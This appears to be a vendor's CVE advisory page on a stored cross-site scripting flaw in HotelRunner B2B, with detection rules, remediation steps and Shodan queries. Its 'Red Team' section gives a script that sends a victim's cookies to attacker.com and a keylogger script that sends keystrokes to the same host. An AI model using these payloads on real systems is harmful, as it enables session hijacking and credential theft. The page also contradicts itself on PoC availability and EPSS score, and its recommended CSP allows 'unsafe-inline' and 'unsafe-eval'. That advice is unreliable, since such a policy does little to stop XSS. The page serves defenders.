☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-4294

CVE-2025-4294 Cross-Site Scripting in Hotelrunner
📅 PUBLISHED: 2025-07-22 13:53 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
4.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4294 is a stored Cross-Site Scripting (XSS) vulnerability in HotelRunner B2B, a booking and property management platform. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the application. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects all versions prior to the 04.06.2025 release. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. However, given the nature of XSS in a B2B context, the risk to business partners and internal users is significant.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary web application (HotelRunner B2B). No supply chain implications are identified.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.8 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction (e.g., clicking a malicious link) but can lead to data theft or session hijacking in a B2B environment where trust is high.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the HotelRunner B2B interface. The application fails to sanitize or encode user-supplied input before rendering it in a web page. An attacker can inject malicious HTML/JavaScript into fields such as booking notes, customer names, or custom fields. When a victim (e.g., a hotel staff member or partner) views the affected page, the script executes in their browser context.

Attack Flow:

  1. Attacker registers or logs into HotelRunner B2B.
  2. Attacker submits a booking request with a malicious payload in a text field (e.g., <script>alert('XSS')</script>).
  3. The payload is stored in the database without sanitization.
  4. A victim (e.g., hotel manager) views the booking details.
  5. The script executes, stealing cookies, redirecting to a phishing page, or performing actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation in the web page generation logic.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct output without sanitization
echo "<div class='booking-note'>" . $_POST['note'] . "</div>";

Patched Code (Conceptual):

// Patched: HTML-encode output
echo "<div class='booking-note'>" . htmlspecialchars($_POST['note'], ENT_QUOTES, 'UTF-8') . "</div>";

The patched version (04.06.2025) implements proper output encoding using htmlspecialchars() or equivalent, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to HotelRunner B2B (any user role).
  • A field that stores and displays user input (e.g., booking notes, customer name).

Exploitation Steps:

  1. Log in to HotelRunner B2B.
  2. Navigate to a form that accepts text input (e.g., "Add Booking Note").
  3. Inject the following payload:
    <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
    
  4. Submit the form.
  5. Wait for a victim to view the booking details.
  6. The victim's browser sends their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
};
</script>

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual script tags in input fields (e.g., <script>, <img onerror=, <svg onload=).
  • Use WAF rules to block common XSS patterns.
  • Review logs for requests containing document.cookie, fetch, or XMLHttpRequest in POST data.

Defense:

  • Apply the vendor patch (update to version 04.06.2025 or later).
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use input validation (whitelist) and output encoding (HTML entity encoding).
  • Deploy a Web Application Firewall (WAF) with XSS rules.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or ?key= in the query string.
    • POST requests with payloads containing <script>, onerror, onload, or javascript:.
  • Host IOCs:

    • Unexpected JavaScript files in browser cache.
    • Modified browser settings (e.g., proxy changes) indicating session hijacking.
  • Log IOCs:

    • Web server logs showing %3Cscript%3E (URL-encoded <script>) in POST data.
    • Application logs with unusual characters in text fields (e.g., <>, &, ").

Detection Engineering

YARA Rule

rule CVE_2025_4294_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting HotelRunner B2B"
        author = "Valters IT"
        date = "2025-06-10"
        reference = "CVE-2025-4294"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-4294 XSS Attempt in HotelRunner B2B
id: 8a3b2c1d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS payloads in HTTP POST requests to HotelRunner B2B
author: Valters IT
date: 2025-06-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-4294 XSS Payload in HotelRunner B2B";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-4294;
)

Remediation & Mitigation

Immediate Actions:

  1. Update HotelRunner B2B to version 04.06.2025 or later.
  2. If patching is not possible, implement a Web Application Firewall (WAF) with XSS rules.
  3. Enable Content Security Policy (CSP) headers:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
    
    (Note: unsafe-inline may be required for legacy compatibility; consider removing after testing.)

Long-Term Fixes:

  • Conduct a code review to ensure all user input is sanitized and output is encoded.
  • Implement input validation (whitelist) for all text fields.
  • Use a security scanner to identify similar XSS vulnerabilities.

Workaround:

  • Disable the affected input fields (e.g., booking notes) until a patch is applied.
  • Restrict access to the B2B interface to trusted IPs only.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"HotelRunner"
http.html:"HotelRunner B2B"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4294/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.